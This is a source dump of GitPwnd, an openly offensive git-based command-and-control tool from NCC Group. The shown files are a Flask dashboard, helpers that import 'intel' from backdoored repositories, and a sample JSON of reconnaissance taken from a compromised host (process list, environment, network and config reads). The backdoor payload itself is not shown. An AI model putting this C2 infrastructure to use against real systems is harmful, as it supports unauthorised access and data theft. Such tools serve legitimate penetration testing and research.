t=JSON.parse(e.data),a=t.language,r=t.code,l=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),l&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName("script")).pop();return r&&(n.filename=r.src,!document.addEventListener||n.manual||r.hasAttribute("data-manual")||("loading"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener("DOMContentLoaded",n.highlightAll))),_self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism);
Prism.languages.markup={comment:/<!--[\w\W]*?-->/,prolog:/<\?[\w\W]+?\?>/,doctype:/<!DOCTYPE[\w\W]+?>/i,cdata:/<!\[CDATA\[[\w\W]*?]]>/i,tag:{pattern:/<\/?(?!\d)[^\s>\/=$<]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\\1|\\?(?!\1)[\w\W])*\1|[^\s'">=]+))?)*\s*\/?>/i,inside:{tag:{pattern:/^<\/?[^\s>\/]+/i,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/i,inside:{punctuation:/[=>"']/}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:/&#?[\da-z]{1,8};/i},Prism.hooks.add("wrap",function(a){"entity"===a.type&&(a.attributes.title=a.content.replace(/&/,"&"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup;
Prism.languages.css={comment:/\/\*[\w\W]*?\*\//,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*\{))/i,inside:{rule:/@[\w-]+/}},url:/url\((?:(["'])(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1|.*?)\)/i,selector:/[^\{\}\s][^\{\};]*?(?=\s*\{)/,string:{pattern:/("|')(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1/,greedy:!0},property:/(\b|\B)[\w-]+(?=\s*:)/i,important:/\B!important\b/i,"function":/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/(<style[\w\W]*?>)[\w\W]*?(?=<\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').*?\1/i,inside:{"attr-name":{pattern:/^\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/i,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag));
Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0}],string:{pattern:/(["'])(\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/((?:\b(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/i,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,"boolean":/\b(true|false)\b/,"function":/[a-z0-9_]+(?=\()/i,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)\b/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*|\/|~|\^|%/,punctuation:/[{}[\];(),.:]/};
Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|0b[01]+|0o[0-7]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|Infinity)\b/,"function":/[_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*(?=\()/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*\*?|\/|~|\^|%|\.{3}/}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^\/])\/(?!\/)(\[.+?]|\\.|[^\/\\\r\n])+\/[gimyu]{0,5}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore("javascript","string",{"template-string":{pattern:/`(?:\\\\|\\?[^\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\$\{[^}]+\}/,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/(<script[\w\W]*?>)[\w\W]*?(?=<\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:"language-javascript"}}),Prism.languages.js=Prism.languages.javascript;
Prism.languages.json={property:/"(?:\\.|[^\\"])*"(?=\s*:)/gi,string:/"(?!:)(?:\\.|[^\\"])*"(?!:)/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?)\b/g,punctuation:/[{}[\]);,]/g,operator:/:/g,"boolean":/\b(true|false)\b/gi,"null":/\bnull\b/gi},Prism.languages.jsonp=Prism.languages.json;
================================================
FILE: server/gitpwnd/templates/index.html
================================================
{% extends "layout.html" %}
{% block body %}
<h2>Home</h2>
<p>Welcome to GitPwnd! GitPwnd is a network penetration tool that provides
command and control functionality, that is, sending commands to compromised
machines and receiving their output, using <code>git</code> repos.</p>
<p>For more details, see the <a href="https://www.blackhat.com/us-17/briefings.html#developing-trust-and-gitting-betrayed">BlackHat USA 2017</a>
talk or <a href="https://github.com/nccgroup/gitpwnd">the source on GitHub</a>.</p>
<p>See information extracted from compromised machines by clicking on "Nodes" in the top right.
{% endblock %}
================================================
FILE: server/gitpwnd/templates/layout.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>
<!-- http://flask.pocoo.org/docs/0.12/tutorial/templates/ -->
<title>GitPwnd</title>
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap-reboot.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap-grid.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/prism.css') }}">
<script src="{{url_for('static', filename='js/jquery-3.1.1.min.js')}}"></script>
<script src="{{url_for('static', filename='js/tether.min.js')}}"></script>
<script src="{{url_for('static', filename='js/bootstrap.min.js')}}"></script>
<script src="{{url_for('static', filename='js/prism.js')}}"></script>
{% block html_head %}{% endblock %}
</head>
<body>
<div class=page>
<!-- More examples of navbar: https://v4-alpha.getbootstrap.com/components/navbar/ -->
<!-- Borrowed from: https://v4-alpha.getbootstrap.com/examples/narrow-jumbotron/ -->
<div class="header clearfix">
<nav>
<ul class="nav nav-pills float-right">
<li class="nav-item">
<!-- Can add "active" as a class here to make it highlighted nicely
TODO: make it so the right icon is highlighted for the current page -->
<a class="nav-link" href="{{ url_for('index')}}">Home <span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="{{ url_for('setup')}}">Setup</a>
</li>
<li class="nav-item">
<a class="nav-link" href="{{ url_for('nodes')}}">Nodes</a>
</li>
</ul>
</nav>
<h3 class="">GitPwnd</h3>
</div>
{% for message in get_flashed_messages() %}
<div class=flash>{{ message }}</div>
{% endfor %}
</br>
<div class="container">
{% block body %}{% endblock %}
</div>
</div>
</body>
</html>
================================================
FILE: server/gitpwnd/templates/macros.html
================================================
{# Macros for nodes.html #}
{% macro display_intel(intel_name, intel_value, type='string') -%}
<h5>{{intel_name}}</h5>
{% if type == "string" %}
{{intel_value}}
{% elif type == "json" %}
<pre><code class="language-json">
{{intel_value}}
</code></pre>
{% elif type == "shell_command" %}
<pre><code>
##########
# stdout #
##########
{{intel_value["stdout"]}}
##########
# stderr #
##########
{{intel_value["stderr"]}}
</code></pre>
{% else %}
<pre>
{{intel_value}}
</pre>
{% endif %}
{%- endmacro %}
================================================
FILE: server/gitpwnd/templates/nodes.html
================================================
{% extends "layout.html" %}
{% block body %}
{% import 'macros.html' as macros %}
<h2>Nodes</h2>
This page lists all of the info that has been extracted from any node.
<hr>
<!-- TODO: implement collapsible stuff: http://v4-alpha.getbootstrap.com/components/collapse/ -->
{% for repo_name, node_dict in intel.items() %}
<h2> Repo: <b>{{repo_name}}</b></h2>
{% for node_name, intel_list in node_dict.items() %}
<h3>Node: <b>{{node_name}}</b></h3>
{% for intel_dict in intel_list %}
<h4>Extracted on: <b>{{intel_dict["time_ran"]["value"]}}</b></h4>
{% for k,v in intel_dict.items() %}
{{ macros.display_intel(k, v["value"], v["type"]) }}
{% endfor %}
{% endfor %}
<h5>
{% endfor %}
{% endfor %}
{% endblock %}
================================================
FILE: server/gitpwnd/templates/setup.html
================================================
{% extends "layout.html" %}
{% block body %}
<h2>Setup</h2>
<p>See <code>gitpwnd/README.md</code> for how to set up GitPwnd.</p>
<p>Essentially, all you have to do is customize <code>config.yml</code> and then run <code>setup.py</code>.</p>
{% endblock %}
================================================
FILE: server/gitpwnd/util/__init__.py
================================================
================================================
FILE: server/gitpwnd/util/crypto_helper.py
================================================
import hmac
import hashlib
from gitpwnd import app
class CryptoHelper:
@staticmethod
def verify_signature(payload, secret):
key = app.config["HOOK_SECRET"].encode('utf-8')
h = hmac.new(key, digestmod=hashlib.sha1)
h.update(payload.encode('utf-8'))
signature = "sha1=" + h.hexdigest()
return hmac.compare_digest(signature, secret)
================================================
FILE: server/gitpwnd/util/file_helper.py
================================================
import os
class FileHelper:
@staticmethod
# Create a directory if it doesn't exist
def ensure_directory(dirname):
if not os.path.exists(dirname):
os.makedirs(dirname)
================================================
FILE: server/gitpwnd/util/git_helper.py
================================================
import os
import json
import git # gitpython
from gitpwnd import app
from gitpwnd.util.file_helper import FileHelper
class GitHelper:
# http://stackoverflow.com/questions/12179271/python-classmethod-and-staticmethod-for-beginner
@staticmethod
def save_intel(repo_name, branch_name, repo_path, intel_root):
# TODO: "results.json" is hardcoded in payload.py
# this should be abstracted to config.yml or something
intel_file = os.path.join(repo_path, "results.json")
print("[*] Reading intel file from: %s" % intel_file)
with open(intel_file, 'r') as f:
intel_json = json.load(f)
# Have subdir for each node's intel
node_id = branch_name
output_dir = os.path.join(intel_root, repo_name, node_id)
FileHelper.ensure_directory(output_dir)
output_file = os.path.join(output_dir, "%s.json" % intel_json["time_ran"].replace(" ", "_"))
print("[*] Storing intel file to: %s" % output_file)
with open(output_file, 'w') as f:
json.dump(intel_json, f)
@staticmethod
def import_intel_from_branch(repo_name, branch_name, backdoored_repos_root, intel_root):
repo_path = os.path.join(backdoored_repos_root, repo_name)
repo = git.Repo(repo_path)
# http://gitpython.readthedocs.io/en/stable/tutorial.html#using-git-directly
# Tried using the other ways of using gitpython but this appears easiest
g = repo.git
g.pull() # make sure we have the latest branches
g.checkout(branch_name)
g.pull() # make sure we have the latest results.json
GitHelper.save_intel(repo_name, branch_name, repo_path, intel_root)
g.checkout("master")
================================================
FILE: server/gitpwnd/util/intel_helper.py
================================================
import json
import os
# Helper class for
class IntelHelper:
@staticmethod
def parse_node_dir(node_dir):
node_results = []
for intel in os.listdir(node_dir):
intel_file = os.path.join(node_dir, intel)
with open(intel_file, 'r') as f:
node_results.append(json.load(f))
# parsed_json = json.load(f)
# node_results[str(parsed_json["time_ran"])] = parsed_json
return node_results
@staticmethod
def parse_repo_dir(repo_dir):
intel = {}
# In intel_dir, each subdirectory corresponds to a node_id, and each file in
# a node's directory is a json file corresponding to what we've extracted.
#
# Filename of these individual intel files is currently the time when the extraction happened.
for subdir in os.listdir(repo_dir):
node_dir = os.path.join(repo_dir, subdir)
intel[subdir] = IntelHelper.parse_node_dir(node_dir)
return intel # this was fun to write
# Returns:
# {
# "repo_name" => {
# "node_name" => [ intel_extracted1_json, intel_extracted2_json ],
# ...
# }
# }
@staticmethod
def parse_all_intel_files(intel_dir):
results = {}
for subdir in os.listdir(intel_dir):
repo_dir = os.path.join(intel_dir, subdir)
results[subdir] = IntelHelper.parse_repo_dir(repo_dir)
return results
@staticmethod
def json_prettyprint_intel(intel_dict):
# intel_dict has the structure of the return value from parse_all_intel_files
results = {}
for repo_name, node_dict in intel_dict.items():
tmp = {}
for node_name, intel_list in node_dict.items():
tmp[node_name] = [IntelHelper.annotate_intel_dict(x) for x in intel_list]
results[repo_name] = tmp
return results
@staticmethod
def annotate_intel_dict(intel_dict):
# Turns each "value" for a node from: {'attr_name' => '<value>'} to
# {'attr_name' => {'type' => '<type>', 'value' => '<value>'} }
# where type := ['string' | 'json' | 'shell_command' | 'long_string']
# 'long_string' = a string that's multiple lines
#
results = {}
for intel_name, intel_value in intel_dict.items():
intel_name = str(intel_name)
if type(intel_value) is dict:
if "stderr" in intel_value:
results[intel_name] = {"type": "shell_command",
"value": {
"stderr": str(intel_value["stderr"]),
"stdout": str(intel_value["stdout"])
}}
else:
results[intel_name] = { "type": "json",
"value": json.dumps(intel_value, sort_keys=True, indent=4, separators=(',', ': '))}
elif intel_value.count("\n") > 0:
results[intel_name] = {"type": "long_string",
"value": str(intel_value)}
else:
results[intel_name] = {"type": "string",
"value": str(intel_value)}
return results
================================================
FILE: server/requirements.txt
================================================
appnope==0.1.0
backports.shutil-get-terminal-size==1.0.0
click==6.6
decorator==4.0.10
Flask==1.0
ipdb==0.10.1
ipython==5.0.0
ipython-genutils==0.1.0
itsdangerous==0.24
Jinja2>=2.10.1
MarkupSafe==0.23
pathlib2==2.1.0
pexpect==4.2.0
pickleshare==0.7.3
prompt-toolkit==1.0.3
ptyprocess==0.5.1
Pygments==2.7.4
simplegeneric==0.8.1
six==1.10.0
traitlets==4.2.2
wcwidth==0.1.7
Werkzeug==0.15.3
gitpython
Flask-BasicAuth
pyyaml
pyopenssl
================================================
FILE: server/run_ipython.sh
================================================
#!/usr/bin/env python2.7
from IPython import start_ipython
start_ipython()
================================================
FILE: server/server.py
================================================
from gitpwnd import app # defined in gitpwnd/__init__.py
#################
# Server config #
#################
app.secret_key = "blah-doesn't-matter"
if __name__ == "__main__":
# Note: that the '0.0.0.0' makes the server publicly accessible, be careful friend
app.run(host='0.0.0.0', ssl_context='adhoc')
================================================
FILE: server/server_creds.yml.template
================================================
basic_auth_username: "gitpwnd"
basic_auth_password: "$basic_auth_password"
benign_repo_path: "$benign_repo_path"
hook_secret: "$hook_secret"
================================================
FILE: server/tests/sample_intel.json
================================================
{"service_configs": {"syslog": {"stdout": "", "stderr": "cat: /etc/syslog.conf: No such file or directory\n"}, "chttp": {"stdout": "", "stderr": "cat: /etc/chttp.conf: No such file or directory\n"}, "httpd_opt": {"stdout": "", "stderr": "cat: /opt/lampp/etc/httpd.conf: No such file or directory\n"}, "inetd": {"stdout": "", "stderr": "cat: /etc/inetd.conf: No such file or directory\n"}, "httpd": {"stdout": "", "stderr": "cat: /etc/httpd/conf/httpd.conf: No such file or directory\n"}, "cupsd": {"stdout": "", "stderr": "cat: /etc/cups/cupsd.conf: No such file or directory\n"}, "lighthttpd": {"stdout": "", "stderr": "cat: /etc/lighttpd.conf: No such file or directory\n"}, "my": {"stdout": "", "stderr": "cat: /etc/my.conf: No such file or directory\n"}}, "ifconfig": {"stdout": "eth0 Link encap:Ethernet HWaddr 0A:DD:E0:B4:67:30 \n inet addr:172.31.23.37 Bcast:172.31.31.255 Mask:255.255.240.0\n inet6 addr: fe80::8dd:e0ff:feb4:6730/64 Scope:Link\n UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1\n RX packets:94613 errors:0 dropped:0 overruns:0 frame:0\n TX packets:95000 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1000 \n RX bytes:24677385 (23.5 MiB) TX bytes:6614665 (6.3 MiB)\n\nlo Link encap:Local Loopback \n inet addr:127.0.0.1 Mask:255.0.0.0\n inet6 addr: ::1/128 Scope:Host\n UP LOOPBACK RUNNING MTU:65536 Metric:1\n RX packets:26 errors:0 dropped:0 overruns:0 frame:0\n TX packets:26 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1 \n RX bytes:2747 (2.6 KiB) TX bytes:2747 (2.6 KiB)\n\n", "stderr": ""}, "mac_address": "0A:DD:E0:B4:67:30", "ps_services": {"stdout": "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.2 19628 2572 ? Ss Jul06 0:00 /sbin/init\nroot 2 0.0 0.0 0 0 ? S Jul06 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S Jul06 0:00 [ksoftirqd/0]\nroot 4 0.0 0.0 0 0 ? S Jul06 0:00 [kworker/0:0]\nroot 5 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:0H]\nroot 7 0.0 0.0 0 0 ? S Jul06 0:05 [rcu_sched]\nroot 8 0.0 0.0 0 0 ? S Jul06 0:00 [rcu_bh]\nroot 9 0.0 0.0 0 0 ? S Jul06 0:00 [migration/0]\nroot 10 0.0 0.0 0 0 ? S< Jul06 0:00 [lru-add-drain]\nroot 11 0.0 0.0 0 0 ? S Jul06 0:00 [cpuhp/0]\nroot 12 0.0 0.0 0 0 ? S Jul06 0:00 [kdevtmpfs]\nroot 13 0.0 0.0 0 0 ? S< Jul06 0:00 [netns]\nroot 16 0.0 0.0 0 0 ? S Jul06 0:00 [xenwatch]\nroot 17 0.0 0.0 0 0 ? S Jul06 0:03 [kworker/u30:2]\nroot 21 0.0 0.0 0 0 ? S Jul06 0:00 [xenbus]\nroot 139 0.0 0.0 0 0 ? S Jul06 0:00 [khungtaskd]\nroot 140 0.0 0.0 0 0 ? S Jul06 0:00 [oom_reaper]\nroot 141 0.0 0.0 0 0 ? S< Jul06 0:00 [writeback]\nroot 143 0.0 0.0 0 0 ? S Jul06 0:00 [kcompactd0]\nroot 144 0.0 0.0 0 0 ? SN Jul06 0:00 [ksmd]\nroot 145 0.0 0.0 0 0 ? SN Jul06 0:00 [khugepaged]\nroot 146 0.0 0.0 0 0 ? S< Jul06 0:00 [crypto]\nroot 147 0.0 0.0 0 0 ? S< Jul06 0:00 [kintegrityd]\nroot 148 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\nroot 150 0.0 0.0 0 0 ? S< Jul06 0:00 [kblockd]\nroot 500 0.0 0.0 0 0 ? S< Jul06 0:00 [md]\nroot 627 0.0 0.0 0 0 ? S Jul06 0:00 [kswapd0]\nroot 628 0.0 0.0 0 0 ? S< Jul06 0:00 [vmstat]\nroot 724 0.0 0.0 0 0 ? S< Jul06 0:00 [kthrotld]\nroot 768 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\njoedev 796 4.0 1.4 204364 14616 pts/0 S+ 21:52 0:00 python backdoor.py\njoedev 805 3.0 1.1 189088 11492 pts/0 S+ 21:52 0:00 python /home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\njoedev 825 0.0 0.2 117204 2464 pts/0 R+ 21:52 0:00 ps aux\nroot 1401 0.0 0.0 0 0 ? S< Jul06 0:00 [ata_sff]\nroot 1414 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_0]\nroot 1415 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_0]\nroot 1418 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_1]\nroot 1431 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_1]\nroot 1490 0.0 0.0 0 0 ? S Jul06 0:02 [jbd2/xvda1-8]\nroot 1491 0.0 0.0 0 0 ? S< Jul06 0:00 [ext4-rsv-conver]\nroot 1532 0.0 0.2 11448 2740 ? Ss Jul06 0:00 /sbin/udevd -d\nroot 1655 0.0 0.2 11316 2148 ? S Jul06 0:00 /sbin/udevd -d\nroot 1780 0.0 0.0 0 0 ? S Jul06 0:45 [kworker/0:2]\nroot 1818 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:1H]\nroot 1841 0.0 0.0 0 0 ? S Jul06 0:00 [kauditd]\nroot 1856 0.0 0.0 109084 740 ? Ss Jul06 0:00 lvmetad\nroot 1865 0.0 0.0 27140 200 ? Ss Jul06 0:00 lvmpolld\nroot 1917 0.0 0.0 0 0 ? S< Jul06 0:00 [ipv6_addrconf]\nroot 2064 0.0 0.2 9356 2148 ? Ss Jul06 0:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0\nroot 2188 0.0 0.1 9356 1860 ? Ss Jul06 0:02 /sbin/dhclient -6 -nw -lf /var/lib/dhclient/dhclient6-eth0.leases -pf /var/run/dhclient6-eth0.pid eth0\nroot 2235 0.0 0.2 52948 2208 ? S<sl Jul06 0:00 auditd\nroot 2256 0.0 0.2 247456 3032 ? Sl Jul06 0:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5\nroot 2278 0.0 0.0 4372 88 ? Ss Jul06 0:24 rngd --no-tpm=1 --quiet\nrpc 2296 0.0 0.2 35308 2300 ? Ss Jul06 0:01 rpcbind\nrpcuser 2317 0.0 0.3 39876 3304 ? Ss Jul06 0:00 rpc.statd\ndbus 2348 0.0 0.0 21788 228 ? Ss Jul06 0:00 dbus-daemon --system\nroot 2383 0.0 0.1 4340 1380 ? Ss Jul06 0:00 /usr/sbin/acpid\nroot 2530 0.0 0.2 79984 2660 ? Ss Jul06 0:00 /usr/sbin/sshd\nntp 2540 0.0 0.4 29288 4356 ? Ss Jul06 0:01 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g\nroot 2560 0.0 0.5 89024 5120 ? Ss Jul06 0:33 sendmail: accepting connections\nsmmsp 2569 0.0 0.4 80488 4172 ? Ss Jul06 0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue\nroot 2581 0.0 0.2 121592 2384 ? Ss Jul06 0:03 crond\nroot 2595 0.0 0.0 19132 164 ? Ss Jul06 0:00 /usr/sbin/atd\nroot 2628 0.0 0.1 6452 1620 ttyS0 Ss+ Jul06 0:00 /sbin/agetty ttyS0 9600 vt100-nav\nroot 2631 0.0 0.1 4304 1464 tty1 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty1\nroot 2634 0.0 0.1 4304 1500 tty2 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty2\nroot 2637 0.0 0.1 4304 1452 tty3 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty3\nroot 2639 0.0 0.1 4304 1440 tty4 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty4\nroot 2641 0.0 0.1 4304 1412 tty5 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty5\nroot 2643 0.0 0.1 10868 1704 ? S Jul06 0:00 /sbin/udevd -d\nroot 2644 0.0 0.1 4304 1492 tty6 Ss+ Jul06 0:00 /sbin/mingetty /dev/tty6\nroot 32021 0.0 0.6 119948 6876 ? Ss 18:10 0:00 sshd: ec2-user [priv]\nec2-user 32023 0.0 0.3 119948 3872 ? S 18:10 0:00 sshd: ec2-user@pts/0\nec2-user 32024 0.0 0.3 115348 3416 pts/0 Ss 18:10 0:00 -bash\nroot 32236 0.0 0.4 186192 4528 pts/0 S 18:50 0:00 sudo su joedev\nroot 32237 0.0 0.3 160284 3076 pts/0 S 18:50 0:00 su joedev\njoedev 32238 0.0 0.3 115348 3396 pts/0 S 18:50 0:00 bash\nroot 32262 0.0 0.0 0 0 ? S 18:50 0:00 [kworker/u30:1]\n", "stderr": ""}, "node_id": "f839ba57-6dcf-4002-b3bf-13166cc33fa8", "python_version": {"major": 2, "releaselevel": "final", "micro": 12, "minor": 7}, "env": {"AWS_CLOUDWATCH_HOME": "/opt/aws/apitools/mon", "LANG": "en_US.UTF-8", "LESS_TERMCAP_se": "\u001b[0m", "AWS_AUTO_SCALING_HOME": "/opt/aws/apitools/as", "SUDO_USER": "ec2-user", "TERM": "xterm-256color", "LESS_TERMCAP_md": "\u001b[01;38;5;208m", "USER": "joedev", "JAVA_HOME": "/usr/lib/jvm/jre", "LC_CTYPE": "en_US.UTF-8", "EC2_AMITOOL_HOME": "/opt/aws/amitools/ec2", "AWS_ELB_HOME": "/opt/aws/apitools/elb", "_": "/home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample", "LESS_TERMCAP_mb": "\u001b[01;31m", "HOSTNAME": "ip-172-31-23-37", "EC2_HOME": "/opt/aws/apitools/ec2", "SUDO_GID": "500", "SHLVL": "2", "AWS_PATH": "/opt/aws", "PWD": "/home/joedev/code/disruptr", "HISTSIZE": "1000", "LESSOPEN": "||/usr/bin/lesspipe.sh %s", "LESS_TERMCAP_us": "\u001b[04;38;5;111m", "LESS_TERMCAP_ue": "\u001b[0m", "MAIL": "/var/spool/mail/ec2-user", "SHELL": "/bin/bash", "HOME": "/home/joedev", "SUDO_UID": "500", "SUDO_COMMAND": "/bin/su joedev", "PATH": "/sbin:/bin:/usr/sbin:/usr/bin:/opt/aws/bin", "LOGNAME": "joedev", "LESS_TERMCAP_me": "\u001b[0m", "LS_COLORS": "rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:", "USERNAME": "root"}, "whoami": "joedev\n", "time_ran": "2017-07-24 21:52:12.486113", "username": "ec2-user"}
================================================
FILE: server/tests/test_intel_helper.py
================================================
import unittest
from unittest import TestCase
import json
import os
class TestIntelHelper(TestCase):
def get_sample_intel(self):
sample_intel_path = os.path.join(os.path.dirname(__file__), "sample_intel.json")
with open(sample_intel_path, 'r') as f:
return json.load(f)
def test_parse_node_dir(self):
sample_intel = self.get_sample_intel()
intel_keys = sample_intel.keys()
for k in ['ps_services', 'mac_address', 'time_ran', 'whoami', 'python_version', 'ifconfig',
'service_configs', 'username', 'env']:
assert k in intel_keys
if __name__ == '__main__':
unittest.main()
================================================
FILE: setup.py
================================================
import os
import shutil
import subprocess
import github
from github import Github, GithubException
from subprocess import Popen, PIPE, STDOUT
import argparse
import yaml
import sys
import string
import uuid
import ipdb
LOGO = """
############################################
_____ _ _ _____ _
/ ____(_) | | __ \ | |
| | __ _| |_| |__) |_ ___ __ __| |
| | |_ | | __| ___/\ \ /\ / / '_ \ / _` |
| |__| | | |_| | \ V V /| | | | (_| |
\_____|_|\__|_| \_/\_/ |_| |_|\__,_|
############################################
by Clint Gibler and Noah Beddome of NCC Group
"""
